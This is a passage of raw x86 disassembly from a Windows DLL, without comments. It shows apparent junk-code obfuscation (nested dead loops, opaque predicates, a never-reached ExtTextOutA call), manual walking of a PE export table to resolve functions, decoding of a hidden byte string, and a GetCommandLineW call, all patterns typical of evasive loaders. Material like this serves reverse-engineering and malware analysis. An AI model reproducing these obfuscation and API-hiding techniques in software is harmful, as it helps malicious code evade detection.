mov dword [ebp - 0x1644], edx
push dword [ebp - 0x1644]
push dword [ebp - 0x1648]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x1004354a
jmp 0x10043528
mov dword [ebp - 0x73c], 0x9bec
cmp dword [ebp - 0xfb0], 0xa2b
jge 0x100435bc
mov edx, dword [ebp - 0x1664]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x10c], 0
jmp 0x100435d5
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x100435f7
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a38]
call fcn.1001ffcc
mov dword [eax], 1
jmp 0x100435c8
mov dword [ebp - 0x10c], 0
jmp 0x10043610
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x1004362c
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x1ed0], 9
jmp 0x10043603
cmp dword [ebp - 0x744], 0
je 0x10043682
mov eax, dword [ebp - 0x744]
neg eax
je 0x10043661
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0xfffffff6
jg 0x10043661
mov dword [ebp - 0xfb8], 1
jmp 0x10043668
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0xfc8]
cmp dword [ebp - 0xfb8], eax
jne 0x10043682
mov dword [ebp - 0x16e0], 1
jmp 0x10043689
and dword [ebp - 0x16e0], 0
mov eax, dword [ebp - 0x1670]
mov dword [ebp - 0xfc0], eax
push 2
lea ecx, [ebp - 0x1a38]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xfc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc0]
sub eax, dword [ebp - 0xfc8]
cmp dword [ebp - 0x744], eax
jl 0x100436ca
mov dword [ebp - 0xfd0], 1
jmp 0x100436d1
and dword [ebp - 0xfd0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f00]
cmp dword [ebp - 0xfd0], eax
jge 0x100436ed
cmp dword [ebp - 0x16e8], 0
cmp dword [ebp - 0x167c], 7
jbe 0x1004370b
cmp dword [ebp - 0x1e8], 0
je 0x1004370b
mov dword [ebp - 0xfd8], 1
jmp 0x10043712
and dword [ebp - 0xfd8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1ed0]
add eax, dword [ebp - 0xfd8]
imul eax, eax, 0xf3bc
test eax, eax
je 0x10043743
cmp dword [ebp - 0x16f0], 0
je 0x10043743
mov dword [ebp - 0xfe0], 1
jmp 0x1004374a
and dword [ebp - 0xfe0], 0
cmp dword [ebp - 0xfe0], 0x906e71eb
jbe 0x10043762
mov dword [ebp - 0xfe8], 1
jmp 0x10043769
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x132c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a38]
call fcn.1001ffb0
jmp 0x1004348f
cmp dword [ebp + 0x10], 0
jne 0x100439ba
cmp dword [ebp - 0x1f0], 0xffffffff
je 0x100439ba
mov dword [ebp - 0x504], 0xe91a049f
mov dword [ebp - 0x19cc], 0xc34eea2a
mov dword [ebp - 0x19c8], 0xc34eea2a
mov dword [ebp - 0x19c4], 0xc34eea2a
mov dword [ebp - 0x19c0], 0xc34eea2a
lea ecx, [ebp - 0x6e5]
call fcn.1001ffdb
push eax
lea eax, [ebp - 0x19bc]
push eax
lea eax, [ebp - 0x19cc]
push eax
lea ecx, [ebp - 0x1f4c]
call fcn.1001ffde
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1db4]
call fcn.1001ff8a
mov dword [ebp - 4], 0x40
mov dword [ebp - 0x504], 0xffffffe5
jmp 0x10043827
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0x1a
jl 0x1004398b
mov dword [ebp - 0x524], 8
mov dword [ebp - 0xff0], 0x862
mov dword [ebp - 0x133c], 0x1000b508
cmp dword [ebp - 0xff0], 0x9f4
jle 0x10043937
and dword [ebp - 0x50c], 0
jmp 0x10043878
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x4876
jge 0x10043937
and dword [ebp - 0x514], 0
jmp 0x1004389e
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x4e4b
jge 0x10043932
and dword [ebp - 0x51c], 0
jmp 0x100438c4
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0x40e
jge 0x1004392d
mov eax, dword [ebp - 0x50c]
add eax, dword [ebp - 0x514]
and eax, dword [ebp - 0x51c]
cdq
mov dword [ebp - 0x1654], eax
mov dword [ebp - 0x1650], edx
push dword [ebp - 0x1650]
push dword [ebp - 0x1654]
lea ecx, [ebp - 0x21b4]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1334], eax
mov ecx, dword [ebp - 0x1334]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x21b4]
call fcn.1001fbea
jmp 0x100438b7
jmp 0x10043891
jmp 0x1004386b
mov dword [ebp - 0x524], 0x1c
jmp 0x10043950
mov eax, dword [ebp - 0x524]
dec eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0xfffffffa
jl 0x1004396e
push 3
lea ecx, [ebp - 0x1db4]
call fcn.1001ffcc
mov dword [eax], 0xc170cd5
jmp 0x10043943
cmp dword [ebp - 0xff0], 0x5e1
jge 0x10043986
push dword [ebp - 0x133c]
call fcn.100714f3
pop ecx
jmp 0x1004381a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1db4]
call fcn.1001ffb0
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1f0]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x100], ax
movzx eax, word [ebp - 0x100]
cmp eax, 0xffff
je 0x10044b0e
mov dword [ebp - 0x1070], 0x3ea5
mov dword [ebp - 0x1374], 0x1000b558
cmp dword [ebp - 0x1070], 0x3fea
jle 0x10043ac5
and dword [ebp - 0x52c], 0
jmp 0x10043a06
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0x83b
jge 0x10043ac5
and dword [ebp - 0x534], 0
jmp 0x10043a2c
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x74ee
jge 0x10043ac0
and dword [ebp - 0x53c], 0
jmp 0x10043a52
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x3361
jge 0x10043abb
mov eax, dword [ebp - 0x52c]
xor eax, dword [ebp - 0x534]
xor eax, dword [ebp - 0x53c]
cdq
mov dword [ebp - 0x1660], eax
mov dword [ebp - 0x165c], edx
push dword [ebp - 0x165c]
push dword [ebp - 0x1660]
lea ecx, [ebp - 0x21e4]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1344], eax
mov ecx, dword [ebp - 0x1344]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x21e4]
call fcn.1001fbea
jmp 0x10043a45
jmp 0x10043a1f
jmp 0x100439f9
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x278], 0xffffffff
mov dword [ebp - 0x1038], 0x87d6364d
mov dword [ebp - 0x135c], 0xef2b
mov dword [ebp - 0x30], 0xffffffea
jmp 0x10043afa
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe3
jg 0x10043c86
mov dword [ebp - 0x1a8], 0
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x278], eax
jle 0x10043b37
mov dword [ebp - 0xff8], 1
jmp 0x10043b3e
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0xff8], eax
jg 0x10043b58
mov dword [ebp - 0x1000], 1
jmp 0x10043b5f
and dword [ebp - 0x1000], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x1000], eax
jne 0x10043b79
mov dword [ebp - 0x134c], 1
jmp 0x10043b80
and dword [ebp - 0x134c], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1b6c], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1d18], eax
cmp dword [ebp - 0x278], 0x3e86
jle 0x10043bad
mov dword [ebp - 0x1008], 1
jmp 0x10043bb4
and dword [ebp - 0x1008], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x1008]
cmp eax, 0x64a9
jl 0x10043bd1
mov dword [ebp - 0x1010], 1
jmp 0x10043bd8
and dword [ebp - 0x1010], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1010], eax
jge 0x10043bef
mov dword [ebp - 0x1018], 1
jmp 0x10043bf6
and dword [ebp - 0x1018], 0
mov eax, dword [ebp - 0x1018]
sub eax, 0x1cd43096
cmp eax, dword [ebp - 0x1a8]
jne 0x10043c1e
cmp dword [ebp - 0x1a8], 0
je 0x10043c1e
mov dword [ebp - 0x1020], 1
jmp 0x10043c25
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1020], eax
jle 0x10043c3c
mov dword [ebp - 0x1028], 1
jmp 0x10043c43
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0x1028]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1b74], 0x1008b5f8
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x10043c81
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtTextOutA]
jmp 0x10043af3
mov dword [ebp - 0x30], 0
jmp 0x10043c96
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffffd
jg 0x10043dd9
mov dword [ebp - 0x1354], 0x85a06c0f
mov dword [ebp - 0x1060], 0x4ce9d061
mov dword [ebp - 0x136c], 0xde6a6b93
cmp dword [ebp - 0x30], 1
jge 0x10043cd0
mov dword [ebp - 0x1030], 1
jmp 0x10043cd7
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x1354]
cmp dword [ebp - 0x1030], eax
jle 0x10043cf1
mov dword [ebp - 0x1040], 1
jmp 0x10043cf8
and dword [ebp - 0x1040], 0
mov eax, dword [ebp - 0x1038]
cmp dword [ebp - 0x1040], eax
jg 0x10043d12
mov dword [ebp - 0x1048], 1
jmp 0x10043d19
and dword [ebp - 0x1048], 0
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x1048]
cmp eax, dword [ebp - 0x30]
jge 0x10043d3c
cmp dword [ebp - 0x135c], 0
jne 0x10043d3c
and dword [ebp - 0x1050], 0
jmp 0x10043d46
mov dword [ebp - 0x1050], 1
cmp dword [ebp - 0x1050], 0
jg 0x10043d5b
mov dword [ebp - 0x1058], 1
jmp 0x10043d62
and dword [ebp - 0x1058], 0
mov eax, dword [ebp - 0x1058]
neg eax
cmp eax, 0x525036ff
jl 0x10043d7d
mov dword [ebp - 0x1364], 1
jmp 0x10043d84
and dword [ebp - 0x1364], 0
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x1e68], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1b7c], eax
mov dword [ebp - 0x1060], 0xa3d35555
mov eax, dword [ebp - 0x1060]
sub eax, 0x51faed13
cmp eax, 0x270b
jle 0x10043dc1
mov dword [ebp - 0x1068], 1
jmp 0x10043dc8
and dword [ebp - 0x1068], 0
mov eax, dword [ebp - 0x1068]
mov dword [ebp - 0x136c], eax
jmp 0x10043c8f
cmp dword [ebp - 0x1070], 0x3b59
jge 0x10043df1
push dword [ebp - 0x1374]
call fcn.100714f3
pop ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x100]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x13cc], eax
mov dword [ebp - 0x70], 0xfffffffb
mov dword [ebp - 0x67c], 0xffffffff
mov dword [ebp - 0x1d28], 0x7280dda2
mov dword [ebp - 0x138c], 0
mov dword [ebp - 0x1b84], 4
mov dword [ebp - 0x196c], 0xf4846e1d
mov dword [ebp - 0x1968], 0xf4846e1d
mov dword [ebp - 0x1964], 0xf4846e1d
mov dword [ebp - 0x1960], 0xf4846e1d
mov dword [ebp - 0x1e00], 0xfffffff8
mov dword [ebp - 0x13b4], 5
mov dword [ebp - 0x1b8c], 3
mov dword [ebp - 0x1394], 0
mov dword [ebp - 0x13bc], 0x90efdf24
mov dword [ebp - 0x864], 0x8fb6
mov dword [ebp - 0x70], 0xe
jmp 0x10043eb3
cmp dword [ebp - 0x70], 7
je 0x100444f6
mov dword [ebp - 0xa8], 0xa87013dc
push 1
lea ecx, [ebp - 0x7f0]
call fcn.1001ff2e
mov dword [ebp - 4], 0x41
mov dword [ebp - 0x754], 0x915f7446
mov dword [ebp - 0x74c], 0xfffffff6
mov dword [ebp - 0x1078], 0x3669
mov dword [ebp - 0x1384], 0x1000b574
cmp dword [ebp - 0x1078], 0x381b
jle 0x10043fb4
and dword [ebp - 0x544], 0
jmp 0x10043f29
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0x563b
jge 0x10043fb4
and dword [ebp - 0x54c], 0
jmp 0x10043f4b
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xded
jge 0x10043faf
mov eax, dword [ebp - 0x544]
imul eax, dword [ebp - 0x54c]
cdq
mov dword [ebp - 0x166c], eax
mov dword [ebp - 0x1668], edx
push dword [ebp - 0x1668]
push dword [ebp - 0x166c]
lea ecx, [ebp - 0x2208]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x137c], eax
mov ecx, dword [ebp - 0x137c]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2208]
call fcn.1001fbea
jmp 0x10043f3e
jmp 0x10043f1c
cmp dword [ebp - 0x1078], 0x3463
jge 0x10043fcc
push dword [ebp - 0x1384]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x554], 0
jmp 0x10043fe5
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 1
jge 0x10044004
push dword [ebp - 0x554]
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
and dword [eax], 0
jmp 0x10043fd8
mov dword [ebp - 0xa8], 0xfffffff3
jmp 0x1004401d
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffff
jge 0x10044237
mov dword [ebp - 0x10d8], 0x759951ea
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x1d38], eax
cmp dword [ebp - 0x70], 0
jne 0x10044058
mov eax, 0x3a0f0f5e
test eax, eax
jne 0x10044058
and dword [ebp - 0x1080], 0
jmp 0x10044062
mov dword [ebp - 0x1080], 1
cmp dword [ebp - 0x1080], 1
jne 0x1004407a
cmp dword [ebp - 0x70], 0
jne 0x1004407a
and dword [ebp - 0x1088], 0
jmp 0x10044084
mov dword [ebp - 0x1088], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x1088], eax
jge 0x1004409b
mov dword [ebp - 0x1090], 1
jmp 0x100440a2
and dword [ebp - 0x1090], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x1090], eax
jle 0x100440c2
mov eax, 0x2f1e5c8a
test eax, eax
je 0x100440c2
mov dword [ebp - 0x1098], 1
jmp 0x100440c9
and dword [ebp - 0x1098], 0
cmp dword [ebp - 0x1098], 0xfffa
je 0x100440e1
mov dword [ebp - 0x10a0], 1
jmp 0x100440e8
and dword [ebp - 0x10a0], 0
mov eax, dword [ebp - 0x10a0]
sub eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x10d8]
jle 0x10044108
mov dword [ebp - 0x10a8], 1
jmp 0x1004410f
and dword [ebp - 0x10a8], 0
cmp dword [ebp - 0x10a8], 1
jae 0x10044124
mov dword [ebp - 0x10b0], 1
jmp 0x1004412b
and dword [ebp - 0x10b0], 0
cmp dword [ebp - 0x10b0], 0x7758b39d
je 0x10044149
mov eax, 0x8cca
test eax, eax
jne 0x10044149
and dword [ebp - 0x10b8], 0
jmp 0x10044153
mov dword [ebp - 0x10b8], 1
cmp dword [ebp - 0x10b8], 0x9dc86695
jae 0x1004416b
mov dword [ebp - 0x10c0], 1
jmp 0x10044172
and dword [ebp - 0x10c0], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x10c0], eax
jl 0x10044195
mov eax, 0x85fcb444
test eax, eax
je 0x10044195
mov dword [ebp - 0x10c8], 1
jmp 0x1004419c
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x10c8], eax
jge 0x100441b3
mov dword [ebp - 0x10d0], 1
jmp 0x100441ba
and dword [ebp - 0x10d0], 0
cmp dword [ebp - 0x10d0], 0x254e7f13
jne 0x100441d2
mov dword [ebp - 0x10e0], 1
jmp 0x100441d9
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x10d8]
cmp eax, dword [ebp - 0x10e0]
jle 0x100441f3
mov dword [ebp - 0x10e8], 1
jmp 0x100441fa
and dword [ebp - 0x10e8], 0
mov eax, dword [ebp - 0x10e8]
mov dword [ebp - 0x67c], eax
mov esi, dword [ebp - 0x67c]
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x10044232
jmp 0x10044010
jmp 0x10044010
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x8ddd7ad2
je 0x10044258
mov dword [ebp - 0x1110], 1
jmp 0x1004425f
and dword [ebp - 0x1110], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x138c]
cmp dword [eax], ecx
jg 0x10044282
mov dword [ebp - 0x10f0], 1
jmp 0x10044289
and dword [ebp - 0x10f0], 0
cmp dword [ebp - 0x10f0], 1
jae 0x1004429e
mov dword [ebp - 0x10f8], 1
jmp 0x100442a5
and dword [ebp - 0x10f8], 0
cmp dword [ebp - 0x10f8], 0x4363
je 0x100442bd
mov dword [ebp - 0x1100], 1
jmp 0x100442c4
and dword [ebp - 0x1100], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x1100]
cmp ecx, dword [eax]
jne 0x100442e7
mov dword [ebp - 0x1108], 1
jmp 0x100442ee
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
mov esi, dword [ebp - 0x74c]
mov eax, dword [ebp - 0x1108]
sub eax, 0x77d8654e
imul esi, eax
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
cmp esi, dword [eax]
jge 0x1004432c
mov dword [ebp - 0x1118], 1
jmp 0x10044333
and dword [ebp - 0x1118], 0
mov eax, dword [ebp - 0x1110]
cmp eax, dword [ebp - 0x1118]
je 0x1004434d
mov dword [ebp - 0x1120], 1
jmp 0x10044354
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x1120]
sub eax, 0x91ab
cmp eax, 0x6d0a
jne 0x10044372
mov dword [ebp - 0x1128], 1
jmp 0x10044379
and dword [ebp - 0x1128], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x196c]
cmp dword [ebp - 0x1128], eax
je 0x1004439a
mov dword [ebp - 0x834], 1
jmp 0x100443a1
and dword [ebp - 0x834], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x834]
cmp ecx, dword [eax]
jle 0x100443c4
mov dword [ebp - 0x83c], 1
jmp 0x100443cb
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
dec eax
cmp eax, 1
je 0x100443e3
mov dword [ebp - 0x844], 1
jmp 0x100443ea
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x754]
imul eax, dword [ebp - 0x844]
mov dword [ebp - 0x139c], eax
mov eax, dword [ebp - 0x1394]
mov dword [ebp - 0x13a4], eax
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x139c]
cmp eax, dword [ebp - 0x13a4]
je 0x10044430
mov dword [ebp - 0x13ac], 1
jmp 0x10044437
and dword [ebp - 0x13ac], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x196c]
mov dword [ebp - 0x1b94], eax
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov eax, dword [ebp - 0x13b4]
sub eax, dword [ebp - 0x13bc]
cmp dword [ebp - 0x70], eax
je 0x10044474
mov dword [ebp - 0x84c], 1
jmp 0x1004447b
and dword [ebp - 0x84c], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x84c]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x864]
je 0x100444a5
mov dword [ebp - 0x854], 1
jmp 0x100444ac
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x67c]
cmp dword [ebp - 0x854], eax
je 0x100444c6
mov dword [ebp - 0x85c], 1
jmp 0x100444cd
and dword [ebp - 0x85c], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x85c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7f0]
call fcn.1001ffb0
jmp 0x10043eac
mov dword [ebp - 0x86c], 0x7315
mov dword [ebp - 0x13c4], 0x1000b5a8
cmp dword [ebp - 0x86c], 0x73cc
jle 0x100445f6
and dword [ebp - 0x66c], 0
jmp 0x10044530
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0x10a7
jge 0x100445f6
and dword [ebp - 0x55c], 0
jmp 0x10044556
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x1cec
jge 0x100445f1
and dword [ebp - 0x664], 0
jmp 0x1004457c
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0x462f
jge 0x100445ec
and dword [ebp - 0x674], 0
jmp 0x1004459e
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0x7923
jge 0x100445ea
mov eax, dword [ebp - 0x55c]
cdq
idiv dword [ebp - 0x664]
and edx, dword [ebp - 0x66c]
or edx, dword [ebp - 0x674]
mov eax, edx
cdq
mov dword [ebp - 0x1678], eax
mov dword [ebp - 0x1674], edx
push dword [ebp - 0x1674]
push dword [ebp - 0x1678]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10044591
jmp 0x1004456f
jmp 0x10044549
jmp 0x10044523
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x86c], 0x72e8
jge 0x1004461e
mov edx, dword [ebp - 0x13c4]
mov ecx, 0x1008bbb8
call fcn.100228da
mov eax, dword [ebp - 0x13cc]
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [eax]
mov dword [ebp - 0x11c], ecx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x138]
jbe 0x10044b06
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x280]
mov edx, dword [ebp - 0x138]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x11c], edx
jae 0x10044b06
mov eax, dword [0x1008cc78]
and eax, 2
jne 0x10044698
mov eax, dword [0x1008cc78]
or eax, 2
mov dword [0x1008cc78], eax
mov dword [ebp - 4], 0x42
push 0xa376
call fcn.10013980
pop ecx
mov byte [0x10091018], al
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x874], 0x817
mov dword [ebp - 0x13d4], 0x1000b5d8
cmp dword [ebp - 0x874], 0xb16
jle 0x1004479b
and dword [ebp - 0x6a8], 0
jmp 0x100446d2
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0x1f0d
jge 0x10044795
and dword [ebp - 0x694], 0
jmp 0x100446f8
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
cmp dword [ebp - 0x694], 0x7694
jge 0x10044790
and dword [ebp - 0x684], 0
jmp 0x1004471e
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 0xad7
jge 0x1004478b
and dword [ebp - 0x68c], 0
jmp 0x10044740
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 0x55b7
jge 0x10044789
mov eax, dword [ebp - 0x684]
sub eax, dword [ebp - 0x68c]
and eax, dword [ebp - 0x694]
xor eax, dword [ebp - 0x6a8]
cdq
mov dword [ebp - 0x1684], eax
mov dword [ebp - 0x1680], edx
push dword [ebp - 0x1680]
push dword [ebp - 0x1684]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10044733
jmp 0x10044711
jmp 0x100446eb
jmp 0x100446c5
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov byte [ebp - 0x144], 2
mov byte [ebp - 0x143], 0x55
mov byte [ebp - 0x142], 0
mov byte [ebp - 0x141], 8
mov byte [ebp - 0x140], 1
mov byte [ebp - 0x13f], 8
mov byte [ebp - 0x13e], 2
mov byte [ebp - 0x13d], 0xd
mov byte [ebp - 0x13c], 0x70
cmp dword [ebp - 0x874], 0x735
jge 0x100447f6
mov edx, dword [ebp - 0x13d4]
mov ecx, 0x1008bbb8
call fcn.100228da
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x144]
or eax, 0x39
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x144]
and ecx, 0x39
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x144]
mov byte [ebp + ecx - 0x200], al
mov dword [ebp - 0x58], 2
and dword [ebp - 0x6b8], 0
jmp 0x10044847
mov eax, dword [ebp - 0x58]
inc eax
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 9
jae 0x100448fd
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x58], eax
jne 0x10044891
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x144]
inc eax
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x144]
mov ecx, dword [ebp - 0x58]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x58], eax
jmp 0x1004483f
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x143]
mov ecx, dword [ebp - 0x58]
sub ecx, dword [ebp - 0x6b8]
movzx ecx, byte [ebp + ecx - 0x146]
movsx ecx, byte [ebp + ecx - 0x200]
or eax, ecx
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x143]
mov edx, dword [ebp - 0x58]
sub edx, dword [ebp - 0x6b8]
movzx edx, byte [ebp + edx - 0x146]
movsx edx, byte [ebp + edx - 0x200]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x144]
mov byte [ebp + ecx - 0x200], al
and dword [ebp - 0x6b8], 0
jmp 0x1004483f
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x200], 0
mov eax, dword [0x1008cc78]
and eax, 4
jne 0x10044949
mov eax, dword [0x1008cc78]
or eax, 4
mov dword [0x1008cc78], eax
mov dword [ebp - 4], 0x43
lea eax, [ebp - 0x200]
push eax
mov ecx, 0x10091060
call fcn.10047200
push 0x10087c62
call fcn.100714c9
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x6c0], 0
jmp 0x1004495f
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 4
jae 0x10044978
mov eax, dword [ebp - 0x6c0]
mov byte [ebp + eax - 0x200], 0
jmp 0x10044952
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1b0]
movsx eax, byte [eax]
movsx ecx, byte [0x10091018]
cmp eax, ecx
je 0x100449a7
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
jmp 0x10044984
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
